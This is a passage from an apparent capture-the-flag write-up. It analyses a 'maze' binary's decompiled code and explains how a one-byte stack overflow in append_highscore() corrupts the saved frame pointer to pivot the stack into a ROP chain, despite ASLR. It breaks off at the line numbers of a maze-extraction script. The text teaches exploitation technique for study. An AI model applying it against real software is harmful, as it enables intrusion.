class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-221\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-c\">\/\/ hexrays is not able to show this correctly \ud83d\ude1b<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-222\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-c\">\/\/ it uses the buffer that is allocated on the stack,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-223\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-c\">\/\/ and aligns it to a 16-byte boundary.<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-224\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">last_name<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xFFFFFFFFFFFFFFF0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">len<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-225\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">last_name<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xFFFFFFFFFFFFFFF0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1uLL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-226\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-227\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-228\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-229\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;On the wall behind you, you see a long list of names, the last one is: %s\\n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-230\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">last_name<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xFFFFFFFFFFFFFFF0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-231\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-232\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">do_append<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-233\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-234\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-235\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-236\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-237\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;On the wall behind you, you see a list of something, probably names.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-238\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">do_append<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-239\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">append_highscore<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-240\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>If you did not find the vulnerability this time either, you need to practice more. \ud83d\ude09 In the original code, it was easy to overlook (although still quite visible, when taking the stack\/frame pointer offsets in the automatically produced comments into account). In the revised code, the vulnerability is rather obvious though. Note how the decompiled code in the append_highscore() function (originally, sub_400CE0) has changed:<\/p>\n<p>Before:<\/p>\n<div id=\"crayon-57eb96174b203622914373\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b203622914373-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b203622914373-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b203622914373-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b203622914373-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b203622914373-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b203622914373-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b203622914373-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b203622914373-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b203622914373-9\">9<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b203622914373-1\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-420h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">_BYTE <\/span><span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+1h] [bp-41Fh]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-3\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">v7<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+3F8h] [bp-28h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-4\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b203622914373-5\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;If you want, you can also add your name: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x3F8uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-7\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v7<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b203622914373-9\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">v1<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v6<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x420uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>After:<\/p>\n<div id=\"crayon-57eb96174b20b602282479\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b20b602282479-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b20b602282479-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b20b602282479-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b20b602282479-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b20b602282479-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b20b602282479-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b20b602282479-7\">7<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b20b602282479-1\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1056<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+0h] [bp-420h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b20b602282479-2\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b20b602282479-3\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;If you want, you can also add your name: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b20b602282479-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1016uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b20b602282479-5\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8216;\\n&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b20b602282479-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1016<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b20b602282479-7\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">nread<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1056uLL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>As you can see, 1056 bytes is read into a 1056 byte buffer, but, it begins reading at offset 1. This means that we are able to overflow the buffer with one byte. While this is obviously a rather contrived example, off-by-one vulnerabilities are often found in the wild as well. Typical cases include people doing things like buf[sizeof(buf)] = X, or allocating room for strings without taking the terminating NUL-byte into account.<\/p>\n<p>So, what can we accomplish with a 1-byte-overflow? Well, that obviously depends on what is stored right after the buffer in question, and if our target is running on a little-endian or a big-endian architecture. For little-endian architectures, including x86 and x86_64, the least significant byte (LSB) of a value, including pointers, is stored first. So, if we are overwriting the LSB of an address that is originally 0xbadc0ded, it is the \u2018ed\u2019 at the end of the address that will be overwritten, and not the \u2018ba\u2019 in the beginning of it. To make this clearer, here is an illustration of how the 32-bit value 0xbadc0ded is stored in memory (each hex-character represents 4 bits, so one byte is represented by two hex characters):<\/p>\n<p><a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/badc0ded-lsb.svg\"><img class=\"aligncenter size-full wp-image-144\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/badc0ded-lsb.svg\" alt=\"badc0ded-lsb\" \/><\/a><\/p>\n<p>Overwriting the LSB of an address will thus shift it slightly, with up to 255 bytes depending on what the original value was. If the original value is 0x123456, overwriting the LSB with 00 will change it to 0x123400, effectively subtracting 0x56 from the original value. So, what is stored right after our buffer in this case? Well, the automatically produced comment for our buf-variable will reveal that right away. \u201c[bp-420h]\u201d means that the buffer is located at rbp (the current base\/frame pointer value) minus 0x420 (and 0x420 = 1056). Note that rbp points to the location of the saved rbp value, that will be restored when returning from the function. Our 1-byte-overflow will overwrite the least-significant-byte of the saved rbp value, which means that we will be able to control (part of) rbp after append_highscore() has returned back into reached_goal().<\/p>\n<p>Regarding frame pointers, note that they are actually forming a linked list. The current frame pointer value (rbp) points to the saved frame pointer value in the current function\u2019s stack frame, and the saved frame pointer value points to the saved frame pointer of the calling function\u2019s stack frame, and so on. Below you can see how the stack frames for each function in maze are linked together, at the time when append_highscore() is executed. Since the stack grows down, towards lower addresses, the \u2018buf\u2019 buffer in append_highscore()\u2019s stack frame is stored at a lower address than all the saved frame pointer values.<\/p>\n<p><a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/w0rd.svg\"><img class=\"aligncenter size-full wp-image-142\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/w0rd.svg\" alt=\"maze stack\" \/><\/a><\/p>\n<p>This description is a bit simplified though, since each function, including append_highscore(), saves a few other registers as well. While this is not apparent when looking in Hex-Rays, when looking at the actual assembly code in IDA we can see that the stack space that is being reserved for the buffer on the stack is actually 0x408 = 1032 bytes, and since this probably includes some extra padding added by gcc, the original size of the buffer in the source code was probably less than this. Most likely it was declared to be 1016 bytes, and the buf[1016] = \u2018\\0\u2019 was actually buf[sizeof(buf)] = \u2018\\0\u2019 in the original source code, and since the contents of the rbx register is pushed to the stack right before the stack space for buf is reserved, this actually means that the LSB of the saved rbx register is being overwritten with a NUL-byte regardless of if we are exploiting the overflow with read() or not.<\/p>\n<p><a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze1.png\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-151\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze1.png\" sizes=\"(max-width: 720px) 100vw, 720px\" srcset=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze1.png 720w, http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze1-300x223.png 300w\" alt=\"function prologue for append_highscore()\" width=\"720\" height=\"534\" \/><\/a><\/p>\n<p>When returning from append_highscore(), back into reached_goal(), the saved contents of the rbx, r12 and r13 registers are restored from the stack, as well as the saved frame pointer (rbp). In this case, reached_goal() is not using any of those registers before returning into main(), but if it did, that could have potentially resulted in other exploitable scenarios as well. Even though it did not matter in this particular case, always aim to have a complete understanding of everything that is going on, since there will be times when paying attention to those small details are crucial to success.<\/p>\n<p>If reached_goal() would have referenced any local stack variables after append_highscore() returned, and if the assembly code produced to reference those variables used the base\/frame pointer, that could have resulted in potentially exploitable side-effects for us as well. In cases such as this, when the function that was calling the vulnerable function is returning to a function one step further up the call-chain, an even more convenient opportunity arises though. For code that is compiled to use frame pointers, the function epilogue usually ends with \u201cleave; ret\u201d, or equivalently, \u201cmov rsp, rbp; pop rbp; ret\u201d. As you can see, this sets rsp = rbp (i.e, if we controlled the contents of rbp, we now control the stack pointer), pops the new rbp value, and finally returns (i.e. pops the return address, using the stack pointer that is now under our control). Looking at the code, we can see that it uses a variation of this, that sets rsp = rbp-0x28, restores 5 registers (5*8=40=0x28) and then pops rbp and returns.<\/p>\n<p><a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze2.png\"><img loading=\"lazy\" id=\"reached_goal\" class=\"aligncenter size-full wp-image-152\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze2.png\" sizes=\"(max-width: 720px) 100vw, 720px\" srcset=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze2.png 720w, http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze2-300x223.png 300w\" alt=\"function epilogue for reached_goal()\" width=\"720\" height=\"534\" \/><\/a><\/p>\n<p>So, by exploiting the 1-byte-overflow of a stack buffer in append_highscore(), we will actually be able to control the stack pointer when returning from the reached_goal() function. In other words, we have control over where the return address is about to be retrieved. Pointing rsp into a buffer that we control the contents of will thus allow us to control the return address. Ideally, we want to point rsp into a buffer containing a full ROP chain to exploit the program in question. If we would have known the address of the system() function, and if the RDI register (that is used for storing the first function argument, in the standard x86_64 ABI) had contained the address of a buffer that we control the contents of, the full ROP chain in question would have only consisted of a return into system(). \ud83d\ude42 Always keep in mind all the parameters that are under your control (i.e register values, buffer contents, and so on), and information you currently have (base addresses of libraries, the executable, stack\/heap addresses, and so on), and what information you can potentially deduce. Sometimes there are case-specific shortcuts you can take in order to achieve reliable exploitation of a particular target.<\/p>\n<p>As I mentioned earlier, overwriting the least-significant-byte of the saved rbp value will allow us to shift it to an address slightly further up or down the stack, with up to a maximum of 255 bytes (up to 248 bytes in this case, since the saved rbp value will obviously be aligned to an 8-byte-boundary). Shifting it to a higher address will not do us any good, since we do not control the contents of any stack buffers allocated there. Shifting it to a lower address can potentially point it into the \u2018buf\u2019 buffer though, depending on what the LSB of the original saved rbp value is. By overflowing with a NUL-byte, we ensure that we are effectively subtracting as much as possible from the saved rbp value, and maximize our chances of pointing rbp into our buffer.<\/p>\n<p>Due to ASLR, the LSB of the saved rbp value will vary (and sometimes, the LSB will even be 0 to begin with), so it is possible that we need to make a few attempts in order to exploit this. When ASLR is enabled, the base address (and once again, keep in mind that the stack grows down towards lower addresses) of the stack will be randomized, and unlike the randomization of base addresses for dynamically loaded libraries, and PIE-binaries, the offset within the memory page will be randomized as well. For libraries\/PIE-binaries, the 12 least significant bits will always remain the same, and can be used to narrow down the potential binary versions that are running on a system that you are exploiting in cases where you have found an information leak.<\/p>\n<p>We now know where the vulnerability is, and have a rough idea of how to exploit it (i.e, overflow the LSB of the saved rbp with a NUL-byte, hoping that it is enough to point it into our buffer, where we will store a ROP chain). This was the easy part. \ud83d\ude09 To actually trigger the vulnerability, it turns out that we have to solve the maze. Since the maze is fairly large (179\u00d795), we obviously don\u2019t want to go through the process of solving the maze manually on each exploitation attempt (as I mentioned, the exploit will not work every time due to ASLR). Since the maze is static and hardcoded into the binary, we can just solve it manually and send the solution after connecting though.<\/p>\n<p>Initially, I decided to make a small python script in order to visualize the maze. By analyzing the, slightly hairy, algorithm of the check_valid_moves_loop, we can deduce that maze_map[] is actually an array containing the x- and y-coordinates of all the occupied squares (the walls) in the maze. Even if we would not have been able to deduce this by looking at the code alone, it could have been deduced by analyzing the data in the array in question. Especially when visualizing it. \ud83d\ude42<\/p>\n<p>I made this script to extract the maze data from the binary, and create a PNG file:<\/p>\n<div id=\"crayon-57eb96174b220832868833\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b220832868833-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b220832868833-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" 